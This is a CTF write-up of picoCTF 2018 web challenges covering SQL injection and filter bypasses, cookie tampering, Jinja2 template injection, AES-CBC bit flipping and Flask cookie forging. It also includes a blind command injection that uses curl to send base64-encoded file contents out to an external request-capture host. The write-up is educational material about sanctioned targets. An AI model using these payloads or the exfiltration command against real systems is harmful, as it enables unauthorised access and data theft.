Pico CTF 2018 Web Exploitation Writeup

Reading time ~67 minutes

TL;DR

This is a writeup of Pico CTF 2018 Web Challenges.

Things to Note

  • Read the Disclaimer before reading this post.
  • This post assumes that you know some basics of Web App Security and Programming in general.
  • All challenges are easy except the last one.
  • This post is huge! There might be mistakes, please let me know that I can fix em.

Introduction

Pico CTF is a beginner friendly CTF, mostly targeted at middle/high school students. Even though I’m not in mid/high school, I still play, because it’s fun and I know for a fact that I will learn something new. The game has ended and my team is at 7th rank which I’m pretty happy about. Most of the work was done by my team mates, all I could destroy was some web challenges, hence I’m sharing some knowledge. Now onto the writeup, Esketittttttttt!

Inspect Me

Challenge description

Inpect this code! http://2018shell1.picoctf.com:47428

Points: 125

Just looking at the html source code of the webpage, we find the first part of the flag

<!-- I learned HTML! Here's part 1/3 of the flag: picoCTF{ur_4_real_1nspe -->

There are 2 more files included

<link rel="stylesheet" type="text/css" href="mycss.css">
<script type="application/javascript" src="myjs.js"></script>

looking at these files gives us the rest of the flag

/* I learned CSS! Here's part 2/3 of the flag: ct0r_g4dget_e96dd105} */
/* I learned JavaScript! Here's part 3/3 of the flag:  */ <== yes theres nothing here

If we concatenate them, we get the flag picoCTF{ur_4_real_1nspect0r_g4dget_e96dd105}

Client Side is Still Bad

Challenge description

I forgot my password again, but this time there doesn't seem to be a reset, can you help me? http://2018shell1.picoctf.com:8930

Points: 150

Looking at the source of the webpage, we see some interesting javascript

<script type="text/javascript">
  function verify() {
    checkpass = document.getElementById("pass").value;
    split = 4;
    if (checkpass.substring(split*7, split*8) == '}') {
      if (checkpass.substring(split*6, split*7) == 'ebbd') {
        if (checkpass.substring(split*5, split*6) == 'd_d0') {
         if (checkpass.substring(split*4, split*5) == 's_ba') {
          if (checkpass.substring(split*3, split*4) == 'nt_i') {
            if (checkpass.substring(split*2, split*3) == 'clie') {
              if (checkpass.substring(split, split*2) == 'CTF{') {
                if (checkpass.substring(0,split) == 'pico') {
                  alert("You got the flag!")
                  }
                }
              }
      
            }
          }
        }
      }
    }
    else {
      alert("Incorrect password");
    }
  }
</script>

We can see our flag right there, concatenating them gives us picoCTF{client_is_bad_debbd} :)

Logon

Challenge description

I made a website so now you can log on to! I don't seem to have the admin password. See if you can't get to the flag. http://2018shell1.picoctf.com:5477

Points: 150

Visiting the webpage, we see a login page, you can login as anything except admin, so logging in as a random person gives us the cookies which is used for the session. Upon looking at the cookie, we see a obvious bug, there’s a cookie named admin which is set to False, just by changing it to True logs us in as the admin, and we get the flag picoCTF{l0g1ns_ar3nt_r34l_aaaaa17a}.

Irish Name Repo

Challenge description

There is a website running at http://2018shell1.picoctf.com:59464. Do you think you can log us in? Try to see if you can login!

Points: 200

Visiting the website, we see a lot of images. There was also a login page, since this is a easy challenge, I tried some basic SQL injection, ' or 1337=1337 -- , and it worked. However if I had seen the html source of the webpage, I would’ve noticed this

<input type="hidden" name="debug" value="0">

Changing this to 1, gives us verbose SQL output, which could be used to get the flag easily.

username:  ' or 1337=1337 -- 
password: 
SQL query: SELECT * FROM users WHERE name=' ' or 1337=1337 -- ' AND password=''

Logged in!
Your flag is: picoCTF{con4n_r3411y_1snt_1r1sh_d121ca0b}

Either way, we get the flag picoCTF{con4n_r3411y_1snt_1r1sh_d121ca0b}

Mr. Robots

Challenge description

Do you see the same things I see? The glimpses of the flag hidden away? http://2018shell1.picoctf.com:40064

Points: 200

The obvious hint here is robots.txt, visiting http://2018shell1.picoctf.com:40064/robots.txt, gives us

User-agent: *
Disallow: /30de1.html

and visiting http://2018shell1.picoctf.com:40064/30de1.html, gives us the flag picoCTF{th3_w0rld_1s_4_danger0us_pl4c3_3lli0t_30de1} :)

No Login

Challenge description

Looks like someone started making a website but never got around to making a login, but I heard there was a flag if you were the admin. http://2018shell1.picoctf.com:10573

Points: 200

This one is bit of a guess work, all we have to do is add a new cookie admin and set the value to True and make a GET request to /flag, we get the flag

Request

GET /flag HTTP/1.1
Host: 2018shell1.picoctf.com:10573
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Referer: http://2018shell1.picoctf.com:10573/
Accept-Encoding: gzip, deflate
Accept-Language: en-IN,en-GB;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: admin=True
Connection: close

Response

...
<code>picoCTF{n0l0g0n_n0_pr0bl3m_ed714e0e}</code>
...

Since we had a similar challenge before, guessing this was easy. Anyways the flag is picoCTF{n0l0g0n_n0_pr0bl3m_ed714e0e}.

Secret Agent

Challenge description

Here's a little website that hasn't fully been finished. But I heard google gets all your info anyway. http://2018shell1.picoctf.com:3827

Points: 200

Visiting the website, we have a huge flag button, clicking that will give us an error

You're not google! Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36

This means we need to have the user agent of a google bot to get the flag. I used Googlebot-Image/1.0 from this list.

Request

GET /flag HTTP/1.1
Host: 2018shell1.picoctf.com:3827
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Googlebot-Image/1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-IN,en-GB;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: _ga=GA1.2.1783269311.1539716185; _gid=GA1.2.1590262309.1539716185
Connection: close

Response

...
<code>picoCTF{s3cr3t_ag3nt_m4n_12387c22}</code>
...

sweet, picoCTF{s3cr3t_ag3nt_m4n_12387c22} is out flag.

By the way our team name was Sweeet XD

Buttons

Challenge description

There is a website running at http://2018shell1.picoctf.com:44730. Try to see if you can push their buttons.

Points: 250

Visiting the website, we see a button PUSH ME! I am your only hope!, so I pushed it and it made a POST request to button1.php and this page has a message

You did it! Try the next button: [Button2]

So it said that everything was right and we have another button, I clicked on it, this time it made a GET request to button2.php, and we are immediately redirected to /boo.html which has a ACCESS DENIED message and a video song, ummmm, you might’ve guessed it, it’s this one. YES I got rick rolled in 2018. Anyways, since we got a access denied message, I thought why not change GET to POST, because we saw that our first request worked perfectly fine, so I changed it and got the flag.

Request

POST /button2.php HTTP/1.1
Host: 2018shell1.picoctf.com:44730
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://2018shell1.picoctf.com:44730/button1.php
Accept-Encoding: gzip, deflate
Accept-Language: en-IN,en-GB;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: _ga=GA1.2.1783269311.1539716185; _gid=GA1.2.1590262309.1539716185
Connection: close

Response

HTTP/1.1 200 OK
Content-type: text/html; charset=UTF-8

Well done, your flag is: picoCTF{button_button_whose_got_the_button_dfe8b73c}

picoCTF{button_button_whose_got_the_button_dfe8b73c} is our flag :)

The Vault

Challenge description

There is a website running at http://2018shell1.picoctf.com:64349. Try to see if you can login!

Points: 250

This challenge is similar to Irish Name Repo, a SQL injection challenge, but this one has a small filter in place to detect SQL injection.

<?php
  ini_set('error_reporting', E_ALL);
  ini_set('display_errors', 'On');

  include "config.php";
  $con = new SQLite3($database_file);

  $username = $_POST["username"];
  $password = $_POST["password"];
  $debug = $_POST["debug"];
  $query = "SELECT 1 FROM users WHERE name='$username' AND password='$password'";

  if (intval($debug)) {
    echo "<pre>";
    echo "username: ", htmlspecialchars($username), "\n";
    echo "password: ", htmlspecialchars($password), "\n";
    echo "SQL query: ", htmlspecialchars($query), "\n";
    echo "</pre>";
  }

  //validation check
  $pattern ="/.*['\"].*OR.*/i";
  $user_match = preg_match($pattern, $username);
  $password_match = preg_match($pattern, $username);
  if($user_match + $password_match > 0)  {
    echo "<h1>SQLi detected.</h1>";
  }
  else {
    $result = $con->query($query);
    $row = $result->fetchArray();
    
    if ($row) {
      echo "<h1>Logged in!</h1>";
      echo "<p>Your flag is: $FLAG</p>";
    } else {
      echo "<h1>Login failed.</h1>";
    }
  }
  
?>

The filter is basically a simple case insensitive regular expression match with the following pattern

<?php
$pattern ="/.*['\"].*OR.*/i";

All we have to do is make sure our payload doesn’t have * or *, we can simply use and like

admin' and 3=3 --

Since admin is a valid user, we can use this payload.

But there are other ways of solving this challenge

[1] If you look closely in the php source, you’d see that $username is used twice in the matching

<?php
$user_match = preg_match($pattern, $username);
$password_match = preg_match($pattern, $username);

so we can simply use the exact same payload ' or 1337=1337 -- from Irish Name Repo and use it in password field instead of the username.

[2] Since both username and password fields are vulnerable to SQL injection, we can use multiline comments to bypass this filter.

Request

POST /login.php HTTP/1.1
Host: 2018shell1.picoctf.com:64349
Content-Length: 44
Cache-Control: max-age=0
Origin: http://2018shell1.picoctf.com:64349
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://2018shell1.picoctf.com:64349/
Accept-Encoding: gzip, deflate
Accept-Language: en-IN,en-GB;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: _ga=GA1.2.1783269311.1539716185; _gid=GA1.2.1590262309.1539716185
Connection: close

username=' /*&password=*/ or 3=3 -- &debug=1

Response

HTTP/1.1 200 OK
Content-type: text/html; charset=UTF-8

<pre>username: ' /*
password: */ or 1=1 -- 
SQL query: SELECT 1 FROM users WHERE name='' /*' AND password='*/ or 3=3 -- '
</pre><h1>Logged in!</h1><p>Your flag is: picoCTF{w3lc0m3_t0_th3_vau1t_e4ca2258}</p>

Either way, the flag is picoCTF{w3lc0m3_t0_th3_vau1t_e4ca2258}.

Artisinal Handcrafted HTTP 3

Challenge description

We found a hidden flag server hiding behind a proxy, but the proxy has some... _interesting_ ideas of what qualifies someone to make HTTP requests. Looks like you'll have to do this one by hand. Try connecting via nc 2018shell1.picoctf.com 27936, and use the proxy to send HTTP requests to `flag.local`. We've also recovered a username and a password for you to use on the login page: `realbusinessuser`/`potoooooooo`.

Points: 300

This challenge requires you to craft a HTTP request by hand, Automation is prevented using a captcha that looks like this

socketseven@pico-2018-shell-1:~$ nc 2018shell1.picoctf.com 27936                                                                                                               
Real Business Corp., Internal Proxy
Version 2.0.7                                                                                                                                                                  
To proceed, please solve the following captcha:                                                                                                                                
 _____            ___
|____ |          /   |  ______
    / / __  __  / /| | |______|
    \ \ \ \/ / / /_| |  ______
.___/ /  >  <  \___  | |______|
\____/  /_/\_\     |_/

> 12                                                                                                                                                                    
Validation succeeded.  Commence HTTP. 

If we send a simple GET request, we get bad request

Request

GET /index.html HTTP/1.1
Connection: close

Response

HTTP/1.1 400 Bad Request  

Description of the challenge also said that we need to make a request to flag.local endpoint, so we need to specify the Host header. We can confirm this by sending a request to /.

Request

GET / HTTP/1.1
Connection: close

Response

HTTP/1.1 400 Missing Host header                                                                                                                                               
Date: Tue, 16 Oct 2018 20:39:19 GMT                                                                                                                                            
Connection: keep-alive                                                                                                                                                         
Transfer-Encoding: chunked 

Alright now let’s send the host header

Request

GET / HTTP/1.1
Host: flag.local
Connection: close

Response

HTTP/1.1 200 OK
x-powered-by: Express
content-type: text/html; charset=utf-8
content-length: 321
etag: W/"141-LuTf9ny9p1l454tuA3Un+gDFLWo"
date: Tue, 16 Oct 2018 20:42:20 GMT
connection: close


<html>
  <head>
    <link rel="stylesheet" type="text/css" href="main.css" />
  </head>
  <body>
    <header>
      <h1>Real Business Internal Flag Server</h1>
      <a href="/login">Login</a>
    </header>
    <main>
      <p>You need to log in before you can see today's flag.</p>
    </main>
  </body>                                                                                                                                                
</html>  

As we can see there’s a /login endpoint, let’s visit that

Request

GET /login HTTP/1.1
Host: flag.local
Connection: close

Response

HTTP/1.1 200 OK
x-powered-by: Express
content-type: text/html; charset=utf-8
content-length: 498
etag: W/"1f2-UE5AGAqbLVQn1qrfKFRIqanxl9I"
date: Tue, 16 Oct 2018 20:44:32 GMT
connection: close


<html>
  <head>
    <link rel="stylesheet" type="text/css" href="main.css" />
  </head>
  <body>
    <header>
      <h1>Real Business Internal Flag Server</h1>
      <a href="/login">Login</a>
    </header>
    <main>
      <h2>Log In</h2>

      <form method="POST" action="login">
        <input type="text" name="user" placeholder="Username" />                                                                       
        <input type="password" name="pass" placeholder="Password" />                                                                   
        <input type="submit" />                                                                                                        
      </form>                                                                                                                                
    </main>                                                                                                                                        
  </body>                                                                                                                                                
</html> 

From the form above, we can make a POST request to /login with the username and password provided in the description, so let’s do that

Request

POST /login HTTP/1.1
Host: flag.local
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Connection: close

user=realbusinessuser&pass=potoooooooo

Response

HTTP/1.1 302 Found
x-powered-by: Express
set-cookie: real_business_token=PHNjcmlwdD5hbGVydCgid2F0Iik8L3NjcmlwdD4%3D; Path=/
location: /
vary: Accept
content-type: text/plain; charset=utf-8
content-length: 23
date: Tue, 16 Oct 2018 20:55:26 GMT
connection: close

Found. Redirecting to /

As we can see, we get a cookie, let’s use this cookie and see if we could get the flag

Request

GET / HTTP/1.1
Host: flag.local
Cookie: real_business_token=PHNjcmlwdD5hbGVydCgid2F0Iik8L3NjcmlwdD4%3D;
Connection: close

Response

HTTP/1.1 200 OK
x-powered-by: Express
content-type: text/html; charset=utf-8
content-length: 438
etag: W/"1b6-bgxSS92CBVm1uJx+NK7DdppIBp8"
date: Tue, 16 Oct 2018 20:57:27 GMT
connection: close


<html>
  <head>
    <link rel="stylesheet" type="text/css" href="main.css" />
  </head>
  <body>
    <header>
      <h1>Real Business Internal Flag Server</h1>
      <div class="user">Real Business Employee</div>
      <a href="/logout">Logout</a>
    </header>
    <main>
      <p>Hello <b>Real Business Employee</b>!  Today's flag is: <code>picoCTF{0nLY_Us3_n0N_GmO_xF3r_pR0tOcol5_5f5f}</code>.</p>
    </main>
  </body>
</html>

There we go, picoCTF{0nLY_Us3_n0N_GmO_xF3r_pR0tOcol5_5f5f} is our flag :)

Flaskcards

Challenge description

We found this fishy website for flashcards that we think may be sending secrets. Could you take a look?

Points: 350

The title hints that the web app is written in Python Flask framework. As usual, I tried all the obvious bugs like XSS, SQLi, CSRF, IDOR, and others, didn’t have luck with these ones, but since Flask uses Jinja2 as Server Side Template Language, I tried to test for Server Side Template Injection. The web app had register form, I registered an account and logged into it. I had the option to create questions and answers, and I could view them in another page. Since I was testing for SSTI, I injected a simple payload in question and answer input fields.

{{ 7 * 7 }}

and the response had

Question:49
Answer:49

This confirms that 7 * 7 was executed, so now to confirm that the Server Side Template Language is infact jinja2, I tested the following

{{ 7 * '7' }}

and the response had

Question:7777777
Answer:7777777

This test confirms that it’s infact jinja2. So now the first thing I usually do is check out config.

{{ config.items() }}

and the response had

Question:[('DEBUG', False),
 ('SESSION_COOKIE_NAME', 'session'),
 ('SQLALCHEMY_MAX_OVERFLOW', None),
 ('TESTING', False),
 ('JSON_SORT_KEYS', True),
 ('SESSION_COOKIE_SAMESITE', None),
 ('SQLALCHEMY_POOL_TIMEOUT', None),
 ('SQLALCHEMY_RECORD_QUERIES', None),
 ('SQLALCHEMY_TRACK_MODIFICATIONS', False),
 ('ENV', 'production'),
 ('APPLICATION_ROOT', '/'),
 ('SERVER_NAME', None),
 ('BOOTSTRAP_USE_MINIFIED', True),
 ('BOOTSTRAP_CDN_FORCE_SSL', False),
 ('SQLALCHEMY_DATABASE_URI', 'sqlite://'),
 ('SESSION_COOKIE_PATH', None),
 ('BOOTSTRAP_SERVE_LOCAL', False),
 ('SESSION_REFRESH_EACH_REQUEST', True),
 ('SESSION_COOKIE_HTTPONLY', True),
 ('PROPAGATE_EXCEPTIONS', None),
 ('JSONIFY_PRETTYPRINT_REGULAR', False),
 ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(31),),
 ('EXPLAIN_TEMPLATE_LOADING', False),
 ('SQLALCHEMY_POOL_RECYCLE', None),
 ('SQLALCHEMY_COMMIT_ON_TEARDOWN', False),
 ('SESSION_COOKIE_SECURE', False),
 ('SECRET_KEY', 'picoCTF{secret_keys_to_the_kingdom_e8a55760}'),
 ('TRAP_BAD_REQUEST_ERRORS', None),
 ('MAX_COOKIE_SIZE', 4093),
 ('JSONIFY_MIMETYPE', 'application/json'),
 ('PREFERRED_URL_SCHEME', 'http'),
 ('BOOTSTRAP_QUERYSTRING_REVVING', True),
 ('USE_X_SENDFILE', False),
 ('SQLALCHEMY_BINDS', None),
 ('JSON_AS_ASCII', True),
 ('PRESERVE_CONTEXT_ON_EXCEPTION', None),
 ('SQLALCHEMY_ECHO', False),
 ('TRAP_HTTP_EXCEPTIONS', False),
 ('TEMPLATES_AUTO_RELOAD', None),
 ('SQLALCHEMY_NATIVE_UNICODE', None),
 ('SQLALCHEMY_POOL_SIZE', None),
 ('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(0, 43200),),
 ('MAX_CONTENT_LENGTH', None),
 ('SESSION_COOKIE_DOMAIN', False),
 ('BOOTSTRAP_LOCAL_SUBDOMAIN', None)])
Answer:<same as question>

As we can see there’s a ‘SECRET_KEY’ attribute, which has the value picoCTF{secret_keys_to_the_kingdom_e8a55760} which is our flag :)

{{ config['SECRET_KEY'] }}
picoCTF{secret_keys_to_the_kingdom_e8a55760}

fancy-alive-monitoring

Challenge description

One of my school mate developed an alive monitoring tool. Can you get a flag from http://2018shell1.picoctf.com:31070 ?

Points: 400

We are given the source of the web page which looks like this

<html>
<head>
    <title>Monitoring Tool</title>
    <script>
    function check(){
        ip = document.getElementById("ip").value;
        chk = ip.match(/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/);
        if (!chk) {
            alert("Wrong IP format.");
            return false;
        } else {
            document.getElementById("monitor").submit();
        }
    }
    </script>
</head>
<body>
    <h1>Monitoring Tool ver 0.1</h1>
    <form id="monitor" action="index.php" method="post" onsubmit="return false;">
    <p> Input IP address of the target host
    <input id="ip" name="ip" type="text">
    </p>
    <input type="button" value="Go!" onclick="check()">
    </form>
    <hr>

<?php
$ip = $_POST["ip"];
if ($ip) {
    // super fancy regex check!
    if (preg_match('/^(([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]).){3}([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])/',$ip)) {
        exec('ping -c 1 '.$ip, $cmd_result);
        foreach($cmd_result as $str){
            if (strpos($str, '100% packet loss') !== false){
                printf("<h3>Target is NOT alive.</h3>");
                break;
            } else if (strpos($str, ', 0% packet loss') !== false){
                printf("<h3>Target is alive.</h3>");
                break;
            }
        }
    } else {
        echo "Wrong IP Format.";
    }
}
?>
<hr>
<a href="index.txt">index.php source code</a>
</body>
</html>

I’m ignoring the client-side validation, because it can be bypassed easily using the javascript console or a proxy.

The php code is pretty straight forward, it takes an IP address and does some regular expression matching on it and then pings it. We see the obvious bug, our input is passed to exec, so this means we can gain command injection, but first let’s look at the the regex pattern,

/^(([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]).){3}([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])/

There’s a lot going on here, more on analyzing, anyways this regex match is suppose to allow only IP address in a string like 127.0.0.1, but the problem is that the regex only checks for the beginning of a string with ^ and it doesn’t really care about what is after the match so that means we can have a valid IP string match that looks like 127.0.0.1-whatever-i-want!. Since the string which has the IP is passed to exec, we can have a classic command injection like this

127.0.0.1;ls

the payload translates to

ping -c 1 127.0.0.1;ls

So now that we have command injection, the only problem left is that this entire exploitation process is blind, that means we get our command injection but no output. To exfiltrate the output, we can use something like curl, the idea is to execute a command and pass the output to curl which makes a request containing the output to our server, and we get the output.

I created a endpoint https://liveoverflow.free.beeceptor.com, using the beeceptor service ofcourse, this let’s us see any request made to this website. Now let’s craft the payload

ping -c 1 127.0.0.1;curl https://liveoverflow.free.beeceptor.com/?output=`(ls | base64)`

The reason I used base64 is because the newlines and other special characters which break stuff can be encoded into a proper format which don’t break stuff.

aW5kZXgucGhwCmluZGV4LnR4dAp0aGUtc2VjcmV0LTE0NDUtZmxhZy50eHQKeGluZXRfc3RhcnR1Cg==

I got the response, let’s decode it

root@kali:~# echo "aW5kZXgucGhwCmluZGV4LnR4dAp0aGUtc2VjcmV0LTE0NDUtZmxhZy50eHQKeGluZXRfc3RhcnR1Cg==" | base64 -d
index.php
index.txt
the-secret-1445-flag.txt
xinet_startu

We see the secret file, let’s cat it out

ping -c 1 127.0.0.1;curl https://liveoverflow.free.beeceptor.com/?output=`(cat the-secret-1445-flag.txt | base64)`
cGljb0NURntuM3Yzcl90cnVzdF9hX2IweF9kNWE2NjMxMX0K
root@kali:/tmp/x# echo "cGljb0NURntuM3Yzcl90cnVzdF9hX2IweF9kNWE2NjMxMX0K" | base64 -d
picoCTF{n3v3r_trust_a_b0x_d5a66311}

There we go, picoCTF{n3v3r_trust_a_b0x_d5a66311} is out flag.

Secure Logon

Challenge description

Uh oh, the login page is more secure... I think. http://2018shell1.picoctf.com:56265

Points: 500

For this challenge, the source is given

from flask import Flask, render_template, request, url_for, redirect, make_response, flash
import json
from hashlib import md5
from base64 import b64decode
from base64 import b64encode
from Crypto import Random
from Crypto.Cipher import AES

app = Flask(__name__)
app.secret_key = 'seed removed'
flag_value = 'flag removed'

BLOCK_SIZE = 16  # Bytes
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \
                chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]


@app.route("/")
def main():
    return render_template('index.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.form['user'] == 'admin':
        message = "I'm sorry the admin password is super secure. You're not getting in that way."
        category = 'danger'
        flash(message, category)
        return render_template('index.html')
    resp = make_response(redirect("/flag"))

    cookie = {}
    cookie['password'] = request.form['password']
    cookie['username'] = request.form['user']
    cookie['admin'] = 0
    print(cookie)
    cookie_data = json.dumps(cookie, sort_keys=True)
    encrypted = AESCipher(app.secret_key).encrypt(cookie_data)
    print(encrypted)
    resp.set_cookie('cookie', encrypted)
    return resp

@app.route('/logout')
def logout():
    resp = make_response(redirect("/"))
    resp.set_cookie('cookie', '', expires=0)
    return resp

@app.route('/flag', methods=['GET'])
def flag():
  try:
      encrypted = request.cookies['cookie']
  except KeyError:
      flash("Error: Please log-in again.")
      return redirect(url_for('main'))
  data = AESCipher(app.secret_key).decrypt(encrypted)
  data = json.loads(data)

  try:
     check = data['admin']
  except KeyError:
     check = 0
  if check == 1:
      return render_template('flag.html', value=flag_value)
  flash("Success: You logged in! Not sure you'll be able to see the flag though.", "success")
  return render_template('not-flag.html', cookie=data)

class AESCipher:
    """
    Usage:
        c = AESCipher('password').encrypt('message')
        m = AESCipher('password').decrypt(c)
    Tested under Python 3 and PyCrypto 2.6.1.
    """

    def __init__(self, key):
        self.key = md5(key.encode('utf8')).hexdigest()

    def encrypt(self, raw):
        raw = pad(raw)
        iv = Random.new().read(AES.block_size)
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return b64encode(iv + cipher.encrypt(raw))

    def decrypt(self, enc):
        enc = b64decode(enc)
        iv = enc[:16]
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return unpad(cipher.decrypt(enc[16:])).decode('utf8')

if __name__ == "__main__":
    app.run()

From the above source, we can determine that AES with CBC mode is used. This challenge is about bit-flipping, an attack on AES with CBC mode.

Let’s look at the challenge website and see what’s going on. Initially we are presented with a login page, you can login as anything except admin, so I tried logging in as a random user whatever with the random password whatever. After logging in, we see a message

No flag for you
Cookie: {'admin': 0, 'username': 'whatever', 'password': 'whatever'}

We can clearly see that admin is set to 0, we need to set it to 1 to get the flag, but how are we gonna do it? bit-flipping. CBC uses the previous block to genereate the next block except the first. Decryption of the each block in AES-CBC involves decrypting with the AES and performing XOR between the current block and the previous one. The idea here is to flip some bits until you see a change in the next block. Here we need to flip 0 to 1, so we can become the admin and read the flag. In order to do this, we can bruteforce or simply flip the right byte. I’ll show you how to flip the right byte.

If you count the index of 0 in {'admin': 0, 'username': 'whatever', 'password': 'whatever'}, it’s in 11th position, we can try to flip that byte since we know what’s the cipher text and actual plaintext, we can XOR them, since XOR is a associative operation. Then XOR-ing the output again with 1 will flip the bit from 0 to 1. By the way, the chiper text was in the actual cookie.

qVlMUD588b0qtj5q9nYE1kx/pTKfI3RrWG2Rg97QPoLQLjnuWZBHfe11AlNP0+kmLTm7CNZD00SKSLq8c9ZHiMJ4ocB9sd00Xc3oKyUgV+E=

I’ve used python to handle base64 encoding and bit flipping, If you don’t already know python, I highly recommend learning it.

>>> import base64
>>> ciphertext = base64.b64decode('qVlMUD588b0qtj5q9nYE1kx/pTKfI3RrWG2Rg97QPoLQLjnuWZBHfe11AlNP0+kmLTm7CNZD00SKSLq8c9ZHiMJ4ocB9sd00Xc3oKyUgV+E=')
>>> print ciphertext.__repr__()
'\xa9YLP>|\xf1\xbd*\xb6>j\xf6v\x04\xd6L\x7f\xa52\x9f#tkXm\x91\x83\xde\xd0>\x82\xd0.9\xeeY\x90G}\xedu\x02SO\xd3\xe9&-9\xbb\x08\xd6C\xd3D\x8aH\xba\xbcs\xd6G\x88\xc2x\xa1\xc0}\xb1\xdd4]\xcd\xe8+% W\xe1'
>>> ciphertext[10]
'>'

The above shows the base64 decoded representation of the cookie. Now let’s flip it with 0 since the original value of admin is set to 0, since XOR is associative, we can simply XOR the result with 1 to flip the byte which results in 'admin':1.

>>> final = list(ciphertext)
>>> final
['\xa9', 'Y', 'L', 'P', '>', '|', '\xf1', '\xbd', '*', '\xb6', '>', 'j', '\xf6', 'v', '\x04', '\xd6', 'L', '\x7f', '\xa5', '2', '\x9f', '#', 't', 'k', 'X', 'm', '\x91', '\x83', '\xde', '\xd0', '>', '\x82', '\xd0', '.', '9', '\xee', 'Y', '\x90', 'G', '}', '\xed', 'u', '\x02', 'S', 'O', '\xd3', '\xe9', '&', '-', '9', '\xbb', '\x08', '\xd6', 'C', '\xd3', 'D', '\x8a', 'H', '\xba', '\xbc', 's', '\xd6', 'G', '\x88', '\xc2', 'x', '\xa1', '\xc0', '}', '\xb1', '\xdd', '4', ']', '\xcd', '\xe8', '+', '%', ' ', 'W', '\xe1']
>>> flipped = ord(ciphertext[10]) ^ ord('0') ^ ord('1')
>>> final[10] = chr(flipped)
>>> final = ''.join(final)
>>> print base64.b64encode(final)
qVlMUD588b0qtj9q9nYE1kx/pTKfI3RrWG2Rg97QPoLQLjnuWZBHfe11AlNP0+kmLTm7CNZD00SKSLq8c9ZHiMJ4ocB9sd00Xc3oKyUgV+E=

The above code flips the 11th byte from 0 to 1 and encodes it back to base64. Now let’s compare the original with the flipped one.

qVlMUD588b0qtj 5 q9nYE1kx/pTKfI3RrWG2Rg97QPoLQLjnuWZBHfe11AlNP0+kmLTm7CNZD00SKSLq8c9ZHiMJ4ocB9sd00Xc3oKyUgV+E=
qVlMUD588b0qtj 9 q9nYE1kx/pTKfI3RrWG2Rg97QPoLQLjnuWZBHfe11AlNP0+kmLTm7CNZD00SKSLq8c9ZHiMJ4ocB9sd00Xc3oKyUgV+E=

Alrighty let’s try to set this as our new cookie and make the request to /flag, doing so gives us the flag picoCTF{fl1p_4ll_th3_bit3_2efa4bf8} :)

Flaskcards Skeleton Key

Challenge description

Nice! You found out they were sending the Secret_key: 73e1f2c96e364f0cc3371c31927ed156. Now, can you find a way to log in as admin? http://2018shell1.picoctf.com:12261

Points: 600

Visiting the link, we are presented with a login form, we can register and login as a random user. Same as before, we need to be admin to read the flag and the flag exists in /admin route. This web app is written in Python Flask framework. Once we login we get a session cookie which is handled by the framework. Whenever we create a flask application, it requires a secret value that is used to sign all the cookies. The server can use this secret to check if the cookie is tampered or not using the signature. From the challenge description, we already have the secret key, all we need to do is decode the cookie, modify it so that we become admin and sign it with the secret and get the flag.

Let’s first decode the cookie and see how it looks like. We can do that by writing some code or looking it up on Flask Session Cookie Decoder.

Encoded Cookie

.eJwlj0FuwzAMBP-icw4kRdOiP2OIFIkEAVrAdk5F_x61uc_O7v6UPY8472W7jlfcyv4YZSvhpDokzVhwWFb2moYrrZneo0EHTNGxOExEnVpVG6LIRNx8UbXInlqliWa0jmkE2mDahpEBpwuvzEvWrn8F3qWB9ohpBSm34ueR-_X9jK-5h2GdYEMZSwAk_vsFkcQr1cQeQBZBM_c64_ickPL7BltTQBw.Dqh92g.6_c7VbTZRZ3pMq5C43ZlPLK5hoI

Decoded Cookie

{
    "_fresh": true,
    "_id": "ec299d6fbb461dbf34c3fb1727ffcae80a01f69d5c0bb49c2839bd69142248c599befaf936869fe8a1fb2098061ddb2b04fc647445f3a9dbf3ca6809aee69d06",
    "csrf_token": "407f3a816d5e00f199bef61126c323f1ae02bee2",
    "user_id": "6"
}

As we can see, there’s a user_id field and it’s set to 6, If we change it to 1, we might become the admin. So let’s modify the cookie. In order to modify the cookie we need to understand how flask handles cookies, so let’s dive into Flask framework. The reason we are looking at the source is to learn how the encoding and signing works, so that we can simulate the same and get the modified cookie.

Flask relys on a module called itsdangerous to handle signed data. We can see for ourselves in the source code @ line 17

from itsdangerous import BadSignature, URLSafeTimedSerializer

